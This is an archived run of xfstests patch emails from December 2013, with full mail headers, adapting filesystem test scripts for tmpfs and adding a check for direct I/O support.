X-Barracuda-IPDD: Level1 [google.com/209.85.216.201] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=fE18PLh5i3nq+HPRuMlD5HE/3bWoBdgwsdPXh4Asiyw=; b=M2dS7pQIhszmNS2/Oadmod1Mlt7fWP+oK0kUNC1zG73HH4LyKhEBo+8CCWyQy2Y9xE bVZdnY5HNc6mJDWZ9gL/Q1rolNf5QiC+ESWU+533T+B8pqFOBvooVHi789P5ILODPe5Z taeUB7tPzF9C+IwOgg/bnVFj/tqods8P8dONNHEcyPEpKFUx37XqhZEsse/mAi7DwTPI V/4gEx/lRnYQLD35XZ06225IhXSF65xDCxm5s6H7J/pMQ9MlH4X0nSsADgeiiUvk+q+0 wF0mhWN7fxpwnS41XlYH9Tj/uNQcnrEiE6vyMK5cI5dhuQf9WMT0T6Nrz8qw/I/sxWIx jX+g== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id; bh=fE18PLh5i3nq+HPRuMlD5HE/3bWoBdgwsdPXh4Asiyw=; b=mDcrF9GgB4jmKi8DXTAoYB0L4ytF8eeSp53UTsIdtw8Js9GaZWpph4AE4AdLnu+4Mr XSTvFg3tr1wDaCYUclrw000r+RCjstE0esQIa0sb/GAiBhxUNiPfZ9h6s6TdoBsHwE1h KBZpNFiCOo8bP4NtVpy4HygfKVDqpULVxxMYkrJBjLR1MzuLmuJFDordqnovt/nK1726 QCwt1c76qgxYZLkjJTlneDQftUrK8Cb8C4RKBdbS06J3sS3aNGUjniQNlFfNsNGD7CFA Ga7i050cH7OiUyss1aNl9yvbNTxMxs/Xr8wK5mcjF7xpzxGNtanD80fXoNNRVoLtCjC6 XxQQ== X-Gm-Message-State: ALoCoQks2/htFpkaZQzGtPmi96oCVypSnS/bRUIt9NkrIvS66tMVVj4w38MB3sKu5Wfs0kSnDF39Aq7ckYKVWk7xC4Z7CsKbIz88/orlGVgkAzKaPLE9v4WvT7cua3jUxHp0/FvHWirHOrifa4bFaYcmDsbgKhErUHowAsbNo7TIibSndKZAM/QwYwJAalPO6A53RIOPPpGi X-Received: by 10.236.128.72 with SMTP id e48mr9535460yhi.20.1387390565543; Wed, 18 Dec 2013 10:16:05 -0800 (PST) Received: from corp2gmr1-2.hot.corp.google.com (corp2gmr1-2.hot.corp.google.com [172.24.189.93]) by gmr-mx.google.com with ESMTPS id h23si285269yhk.6.2013.12.18.10.16.05 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Wed, 18 Dec 2013 10:16:05 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-2.hot.corp.google.com (Postfix) with ESMTP id 0A6965A41EA; Wed, 18 Dec 2013 10:16:04 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v3 01/12] xfstests: use mount point instead of device name Date: Wed, 18 Dec 2013 10:15:52 -0800 X-ASG-Orig-Subj: [PATCH v3 01/12] xfstests: use mount point instead of device name Message-Id: <1387390563-27064-1-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 X-Barracuda-Connect: mail-qc0-f201.google.com[209.85.216.201] X-Barracuda-Start-Time: 1387390566 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143200 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Hugh Dickins A tmpfs mount does not involve any block device, its $SCRATCH_DEV is nothing but a place-holder, so apply 'df' or 'stat' to its mount point $SCRATCH_MNT instead of to $SCRATCH_DEV. It also fixes a bug in generic/256: "stat -f $SCRATCH_DEV" returning the block size of the root file system, but not the test file system. $ df | grep sda /dev/sda1 233191 62959 157791 29% /boot $ sudo dumpe2fs -h /dev/sda1 | grep "Block size" Block size: 1024 $ stat -f /dev/sda1 | grep "Block size" Block size: 4096 Fundamental block size: 4096 $ stat -f /boot | grep "Block size" Block size: 1024 Fundamental block size: 1024 Signed-off-by: Hugh Dickins Signed-off-by: Theodore Ts'o Signed-off-by: Junho Ryu --- v3: same as v1 v2: same as v1 tests/generic/256 | 2 +- tests/generic/273 | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/generic/256 b/tests/generic/256 index cfe7237..c6c8f2f 100755 --- a/tests/generic/256 +++ b/tests/generic/256 @@ -170,7 +170,7 @@ _scratch_mount # Test must be able to write files with non-root permissions chmod 777 $SCRATCH_MNT -block_size=`stat -f $SCRATCH_DEV | grep "Block size" | cut -d " " -f3` +block_size=`stat -f $SCRATCH_MNT | grep "Block size" | cut -d " " -f3` _test_full_fs_punch $(( $block_size * 2 )) $block_size 500 $SCRATCH_MNT/252.$$ $block_size status=0 ; exit diff --git a/tests/generic/273 b/tests/generic/273 index 8e121a2..dc87a92 100755 --- a/tests/generic/273 +++ b/tests/generic/273 @@ -68,7 +68,7 @@ _file_create() cd $SCRATCH_MNT/origin - _disksize=`$DF_PROG --block-size=1 $SCRATCH_DEV | tail -1 | awk '{ print $5 }'` + _disksize=`$DF_PROG --block-size=1 $SCRATCH_MNT | tail -1 | awk '{ print $5 }'` _disksize=$(($_disksize / 3)) _num=$(($_disksize / $count / $threads / 4096)) _count=$count -- 1.8.5.1 From jayr@google.com Wed Dec 18 12:16:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8C86429DF9 for ; Wed, 18 Dec 2013 12:16:11 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0432CAC004 for ; Wed, 18 Dec 2013 10:16:10 -0800 (PST) X-ASG-Debug-ID: 1387390569-04cb6c537e81adb0001-NocioJ Received: from mail-qc0-f202.google.com (mail-qc0-f202.google.com [209.85.216.202]) by cuda.sgi.com with ESMTP id 0wbnDqYjgriu9q0N (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 18 Dec 2013 10:16:09 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.216.202 X-Barracuda-IPDD: Level1 [google.com/209.85.216.202] Received: by mail-qc0-f202.google.com with SMTP id i17so1040qcy.1 for ; Wed, 18 Dec 2013 10:16:09 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.216.202] X-Barracuda-IPDD: Level1 [google.com/209.85.216.202] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=bmwy1d5KOjdUim82v0riaSCL+jTI7vJ6hlLvf93MheY=; b=ba2nRPRJ13BkLeGBLvNLPpAYGltZEY1U4KwNed6JrKN2V7VsNHGKsOfi2BAXK95j0u Gj5fSLmHZnQdszC+7h0atPc+U2cATqDNCTYbJoJ09XIEAHQ6FF6WfR5RdwbTmz75whHD DzRKZxG0fNMjPVBcUfIRlP2QvWWe0ZQFHsH1ccXyvgOmi1xKzNtTJ7l9td77+PpU5SIx hsOnI5Uy8jTV+pi5rQKHQsJiHfmhk6BaGcrOJGIb+tBWQziGx18kwk0+OFjeaOHnnPXe Tw1QnBErnhRc5mDzdg7rIlhRkSrfWgsYgawi2+Ru9ZgHNJxB4p07xMaHzeEvHYJ505vF Vctw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=bmwy1d5KOjdUim82v0riaSCL+jTI7vJ6hlLvf93MheY=; b=kXgzJgui0SoOmdXVlAzcka0Ul80jztrSXGXPKhbLIKEfxoJjXImzwU7vmDlGK5oM5+ 8X2gxZxzVtw7Z92H+TT7vwm7zStNUnImlsyUftD0396wDykTodCxlrSpsrIUO1AK0wSr JO0j/MdD8K0bH8TJMqLe8bj3Xt3etBpLsZX31Wtbt4C5w0N+GciAyhlpZTvSVx/iLbkp DbIwEFCtm58TSvn+NRnkCtOM2GY1GknIRrgKJ+vA+iggybxv1dw2gH7QmHxE4thL3vjU 0UJgbV49LAiAN4ZVL71YJ20ngkaBYQdLmztdv+40c5IDOlatkoZzWUEq1OaMCaSZUXBd wo6w== X-Gm-Message-State: ALoCoQnuff+7cDp68Ip8NBWCtSJJXdrSb+QL+PCYKUqyiZoAczfz9O+roCch33rhmWz/5puIdJBcP7NcXe2K/BrCKnl35Qr5ITzQY7Q2GpjWbwmHSZiWNXYEGsLNfSdUVWLs5MnLXtuI5SboSD2/wYL/qVXA4gzcrVXwd0gbFXSoP4ewZThXK+AfcKo4G+GCoQKAGrqeM9sc X-Received: by 10.236.27.79 with SMTP id d55mr9838560yha.17.1387390569100; Wed, 18 Dec 2013 10:16:09 -0800 (PST) Received: from corp2gmr1-2.hot.corp.google.com (corp2gmr1-2.hot.corp.google.com [172.24.189.93]) by gmr-mx.google.com with ESMTPS id k45si286935yhn.4.2013.12.18.10.16.09 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Wed, 18 Dec 2013 10:16:09 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-2.hot.corp.google.com (Postfix) with ESMTP id 910D95A405D; Wed, 18 Dec 2013 10:16:08 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v3 07/12] xfstests: check O_DIRECT support before testing direct I/O Date: Wed, 18 Dec 2013 10:15:58 -0800 X-ASG-Orig-Subj: [PATCH v3 07/12] xfstests: check O_DIRECT support before testing direct I/O Message-Id: <1387390563-27064-7-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387390563-27064-1-git-send-email-jayr@google.com> References: <1387390563-27064-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-qc0-f202.google.com[209.85.216.202] X-Barracuda-Start-Time: 1387390569 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143200 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Some filesystems do not support O_DIRECT. Check whether TEST_DIR supports it by running xfs_io with and without -d flag. Signed-off-by: Junho Ryu --- v3: same as v2 v2: renamed _require_xfs_io_direct to _require_odirect common/rc | 15 +++++++++++++++ tests/generic/091 | 1 + tests/generic/130 | 1 + tests/generic/133 | 1 + tests/generic/135 | 1 + tests/generic/226 | 1 + tests/generic/263 | 1 + tests/generic/299 | 1 + tests/generic/300 | 1 + 9 files changed, 23 insertions(+) diff --git a/common/rc b/common/rc index 81baa1d..3878069 100644 --- a/common/rc +++ b/common/rc @@ -1155,6 +1155,7 @@ _require_aiodio() AIO_TEST=src/aio-dio-regress/$1 [ -x $AIO_TEST ] || _notrun "$AIO_TEST not built" fi + _require_odirect } # run an aio-dio program @@ -1293,6 +1294,20 @@ _require_fiemap() _notrun "xfs_io fiemap command failed (no fs support?)" } +# check that kernel and filesystem support direct I/O +_require_odirect() +{ + testfile=$TEST_DIR/$$.direct + $XFS_IO_PROG -F -f -c "pwrite 0 20k" $testfile 2>&1 + if [ $? -eq 0 ]; then + $XFS_IO_PROG -F -f -d -c "pwrite 0 20k" $testfile 2>&1 + if [ $? -ne 0 ]; then + _notrun "O_DIRECT is not supported" + fi + fi + rm -f $testfile 2>&1 > /dev/null +} + # Check that a fs has enough free space (in 1024b blocks) # _require_fs_space() diff --git a/tests/generic/091 b/tests/generic/091 index bb176f1..bb5c92c 100755 --- a/tests/generic/091 +++ b/tests/generic/091 @@ -38,6 +38,7 @@ trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 # real QA test starts here _supported_fs generic _supported_os Linux +_require_odirect rm -f $seqres.full diff --git a/tests/generic/130 b/tests/generic/130 index 8367dc7..1e96630 100755 --- a/tests/generic/130 +++ b/tests/generic/130 @@ -50,6 +50,7 @@ _supported_os Linux IRIX _require_scratch _require_sparse_files +_require_odirect _scratch_mkfs >/dev/null 2>&1 _scratch_mount diff --git a/tests/generic/133 b/tests/generic/133 index 7fb1695..8af4dde 100755 --- a/tests/generic/133 +++ b/tests/generic/133 @@ -38,6 +38,7 @@ trap "exit \$status" 0 1 2 3 15 # real QA test starts here _supported_fs generic _supported_os Linux IRIX +_require_odirect echo "Buffered writer, buffered reader" $XFS_IO_PROG -f -d -c 'pwrite -b 64k 0 512m' $TEST_DIR/io_test > /dev/null diff --git a/tests/generic/135 b/tests/generic/135 index e3b827a..79558f5 100755 --- a/tests/generic/135 +++ b/tests/generic/135 @@ -39,6 +39,7 @@ trap "exit \$status" 0 1 2 3 15 _supported_fs generic _supported_os Linux IRIX +_require_odirect _require_scratch _scratch_mkfs >/dev/null 2>&1 diff --git a/tests/generic/226 b/tests/generic/226 index b98e889..4ad56a5 100755 --- a/tests/generic/226 +++ b/tests/generic/226 @@ -37,6 +37,7 @@ trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 _supported_fs generic _supported_os Linux IRIX _require_scratch +_require_odirect # real QA test starts here rm -f $seqres.full diff --git a/tests/generic/263 b/tests/generic/263 index bc59865..f639215 100755 --- a/tests/generic/263 +++ b/tests/generic/263 @@ -38,6 +38,7 @@ trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 # real QA test starts here _supported_fs generic _supported_os Linux +_require_odirect rm -f $seqres.full diff --git a/tests/generic/299 b/tests/generic/299 index 14cce96..c674542 100755 --- a/tests/generic/299 +++ b/tests/generic/299 @@ -43,6 +43,7 @@ _supported_fs generic _supported_os Linux _need_to_be_root _require_scratch +_require_odirect NUM_JOBS=$((4*LOAD_FACTOR)) BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` diff --git a/tests/generic/300 b/tests/generic/300 index 7c60728..9231cb7 100755 --- a/tests/generic/300 +++ b/tests/generic/300 @@ -43,6 +43,7 @@ _supported_fs generic _supported_os Linux _need_to_be_root _require_scratch +_require_odirect NUM_JOBS=$((4*LOAD_FACTOR)) BLK_DEV_SIZE=`blockdev --getsz $SCRATCH_DEV` -- 1.8.5.1 From jayr@google.com Wed Dec 18 12:16:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CBCA47F4E for ; Wed, 18 Dec 2013 12:16:10 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B02C230406A for ; Wed, 18 Dec 2013 10:16:07 -0800 (PST) X-ASG-Debug-ID: 1387390566-04cb6c537b81ad90001-NocioJ Received: from mail-ob0-f201.google.com (mail-ob0-f201.google.com [209.85.214.201]) by cuda.sgi.com with ESMTP id CgI5YKCF5USiCTo8 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 18 Dec 2013 10:16:06 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.214.201 Received: by mail-ob0-f201.google.com with SMTP id wp4so1990obc.2 for ; Wed, 18 Dec 2013 10:16:06 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=3Y7M0ArSmPGkHW8r36ueAB88BlkgN5zcwE+/1tDH3sg=; b=jq0hvrEnsIG62hBTjsZ4w/b0ocbd0FxdNPPjnzQedsZiO7k6Ff3q+nWRA+jDNLwr0Y aJpZ1S882AcyoX8U2pIdk2DZRlYEGXDNFzrtEw02Oc3wzQixQucRDDvOC7DNzSftlKEN Wbb2oUnfnmeC1+tyF8yUsanmsBpssfF7JlFur9ozj0SEQFpoD3/vTH4yMBuuy2asSW6/ ZdO4N0AIJdvGsMkX8Qw7ouGOSio+Xixgp1/hXd9YpvpxJhWi5/RzBNe2JYQ48nQSNKCA aLlfWqjyfoFgRVGH+tDi87HrxwFU4aBtsmKp5dLHr2XN1y0LqiW5Er9V6TrSWwNgSAyj YBCw== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=3Y7M0ArSmPGkHW8r36ueAB88BlkgN5zcwE+/1tDH3sg=; b=MisCyNWSzX5ODM2U4ZoSQZRDqe4sbln8wKwRiP4ylbzo/CFbWESSX/qpBinn8TQj7f p/BRQXKL+LWBOyTl+FqCLVqklQfAfDfAIJQ0n1/3x8QrfF1fgSXzOcJXMb9QHcbNjpCe A7eBofgKMa+OEbGafsv3ftD978w6lPmXKmo/syeQJZFawIiZ9s7xmri1SJ6mt14b4KqG X+G4LhURmiXWbBVRJswV3EnDX2/Ghq8BemBFhBNZihNa+nDlx9XWjrmdcpFkEV/hXOU9 H7gNhU42AI/MTICeEdRrHnWbnvqAKCviHeyDD9e/vBsiFblFeo7tdBXYA6Khp5G/pCba vQ5w== X-Gm-Message-State: ALoCoQkm4wgKxXVKP/obPcJpbrAIvQ1bAnS2sXyCEx/rX1S3FJrzJs+Zl3VnKe6EAGrX0VD1Mdid8lggAty1ZNl/D4c5e0UXDc+77v2VoSelCXeN/urdzCkjUxHW0usVfUP2n6W7whilV6jR/0kncB7ef2nUdxD1r3uTeFRY8nQPTFYHoZ+wRy/eSX7kk/JGbUv8eab4uY0t X-Received: by 10.42.66.147 with SMTP id p19mr9508704ici.12.1387390566144; Wed, 18 Dec 2013 10:16:06 -0800 (PST) Received: from corp2gmr1-2.hot.corp.google.com (corp2gmr1-2.hot.corp.google.com [172.24.189.93]) by gmr-mx.google.com with ESMTPS id l41si286372yhi.5.2013.12.18.10.16.06 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Wed, 18 Dec 2013 10:16:06 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-2.hot.corp.google.com (Postfix) with ESMTP id 96F175A405D; Wed, 18 Dec 2013 10:16:05 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v3 02/12] xfstests: _scratch_mkfs_sized() for tmpfs Date: Wed, 18 Dec 2013 10:15:53 -0800 X-ASG-Orig-Subj: [PATCH v3 02/12] xfstests: _scratch_mkfs_sized() for tmpfs Message-Id: <1387390563-27064-2-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387390563-27064-1-git-send-email-jayr@google.com> References: <1387390563-27064-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-ob0-f201.google.com[209.85.214.201] X-Barracuda-Start-Time: 1387390566 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143200 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Hugh Dickins _scratch_mkfs_sized() avoid blockdev and update MOUNT_OPTIONS with required size on tmpfs, so those tests using it can now run. Signed-off-by: Hugh Dickins Signed-off-by: Junho Ryu --- v3: use -b to check whether SCRATCH_DEV is a block device v2: check whether SCRATCH_DEV is a block device instead of checking FSTYP common/rc | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/common/rc b/common/rc index a2005c9..bfd29c7 100644 --- a/common/rc +++ b/common/rc @@ -590,7 +590,7 @@ _scratch_mkfs_sized() blocks=`expr $fssize / $blocksize` - if [ "$HOSTOS" == "Linux" ]; then + if [ "$HOSTOS" == "Linux" -a -b "$SCRATCH_DEV" ]; then devsize=`blockdev --getsize64 $SCRATCH_DEV` [ "$fssize" -gt "$devsize" ] && _notrun "Scratch device too small" fi @@ -611,6 +611,9 @@ _scratch_mkfs_sized() btrfs) $MKFS_BTRFS_PROG $MKFS_OPTIONS -b $fssize $SCRATCH_DEV ;; + tmpfs) + export MOUNT_OPTIONS="-o size=$fssize $TMPFS_MOUNT_OPTIONS" + ;; *) _notrun "Filesystem $FSTYP not supported in _scratch_mkfs_sized" ;; -- 1.8.5.1 From jayr@google.com Wed Dec 18 12:16:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A56DE29DFE for ; Wed, 18 Dec 2013 12:16:11 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 39E90AC002 for ; Wed, 18 Dec 2013 10:16:11 -0800 (PST) X-ASG-Debug-ID: 1387390569-04bdf00fe2f6e10001-NocioJ Received: from mail-oa0-f74.google.com (mail-oa0-f74.google.com [209.85.219.74]) by cuda.sgi.com with ESMTP id Paksgo8CjQR79YXD (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 18 Dec 2013 10:16:10 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.219.74 X-Barracuda-IPDD: Level1 [google.com/209.85.219.74] Received: by mail-oa0-f74.google.com with SMTP id o6so2122oag.3 for ; Wed, 18 Dec 2013 10:16:09 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.219.74] X-Barracuda-IPDD: Level1 [google.com/209.85.219.74] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=bq4en+OUp9yGCx9pbHx3iYXoB871bwslaFeY905uMmQ=; b=KBUlhgEOlodJtCIOhQavuDWQeTt8PS+zcIMmoq6gz1FRuinsZ5iHVi2FOHrkaNO7sW Hqj8nhpTQb8V50pUjqEQx5nE3py3MjFSQpH9WybK443WfPEjg6L5NRvsUWuhCM3Wi2Vf fOXYPwvulmIx5ZrO+tcllKIZyDhqFevxn02QXxkQxUKONK+tcMITNGXe8gzA7EqxLI5l 3/IrYcF1jN+VKklJStBc4rPf5ZW+ifLf1DEWNMX9uuVjH8PfQPBgXfrD9zQXSKyIBUOP r/e9/NWI4Hqzj9ljFVofdy67QEn1xMbT6P6x7pGdV6E9oPZVNRDXTAGrmzpMiqdiLuBB fkyg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=bq4en+OUp9yGCx9pbHx3iYXoB871bwslaFeY905uMmQ=; b=Gi0M7OCKWKGdxfFFA0J18mqSxjaaCouhnYVcIiqLKSDkF4QBCegkPjXnkdJgey20hg LjuK/ENcOB/ewRdCbxo70ldnYX+Vie4/kmt9v65zzcxkAbtpyKQBN4lTMtZV7odeiH9A Dp1p4mlIiYDsHpvf8RMdvbMRSfZ78CDlRxkAGHjuVgIoY3fIiRsaKa02ZCyJEtc6FmFN z0+xSI0/BbWpCePWWIazkONol2PY4tXeU88u42stcAVcjypbhDpp9oMQU9AzvfIXL0FM zgNxKd7vrFTK2/98I5xeWc0e/MZlOItFkQxVaV8nB0dfM2Bux30dklEv7rl5eMX8UZIS 8IhQ== X-Gm-Message-State: ALoCoQldSeruhUQ/xfsX/ZyhRWtC8JOxB0WZoQBnlzIzRPtI8FRZx4jHDjCStoy6RkxpoKlFwkyEjJedzgyMoBZ2TXjxNaWAn82xnVSZsnH3WztQvFA0i4VIBQPDtzdUCfdhXoF02inJjWkoGTPVVebEdR60+hNSTp7mQEPNbYmHCzgBZBMEpag+6IMsbBItUjlFQQb4IhYm X-Received: by 10.182.104.200 with SMTP id gg8mr1346709obb.45.1387390569691; Wed, 18 Dec 2013 10:16:09 -0800 (PST) Received: from corp2gmr1-2.hot.corp.google.com (corp2gmr1-2.hot.corp.google.com [172.24.189.93]) by gmr-mx.google.com with ESMTPS id l41si286468yhi.5.2013.12.18.10.16.09 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Wed, 18 Dec 2013 10:16:09 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-2.hot.corp.google.com (Postfix) with ESMTP id 29DDC5A405D; Wed, 18 Dec 2013 10:16:09 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v3 08/12] xfstests: add executable permission to tests Date: Wed, 18 Dec 2013 10:15:59 -0800 X-ASG-Orig-Subj: [PATCH v3 08/12] xfstests: add executable permission to tests Message-Id: <1387390563-27064-8-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387390563-27064-1-git-send-email-jayr@google.com> References: <1387390563-27064-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-oa0-f74.google.com[209.85.219.74] X-Barracuda-Start-Time: 1387390570 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143200 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Hugh Dickins add executable permission to generic/311, generic/314 and generic/315. Just like other tests in the same directory. Signed-off-by: Hugh Dickins Signed-off-by: Junho Ryu --- v3: same as v1 v2: same as v1 tests/generic/311 | 0 tests/generic/315 | 0 tests/generic/321 | 0 tests/generic/322 | 0 4 files changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 tests/generic/311 mode change 100644 => 100755 tests/generic/315 mode change 100644 => 100755 tests/generic/321 mode change 100644 => 100755 tests/generic/322 diff --git a/tests/generic/311 b/tests/generic/311 old mode 100644 new mode 100755 diff --git a/tests/generic/315 b/tests/generic/315 old mode 100644 new mode 100755 diff --git a/tests/generic/321 b/tests/generic/321 old mode 100644 new mode 100755 diff --git a/tests/generic/322 b/tests/generic/322 old mode 100644 new mode 100755 -- 1.8.5.1 From jayr@google.com Wed Dec 18 12:16:13 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 514A129E04 for ; Wed, 18 Dec 2013 12:16:12 -0600 (CST) Received: 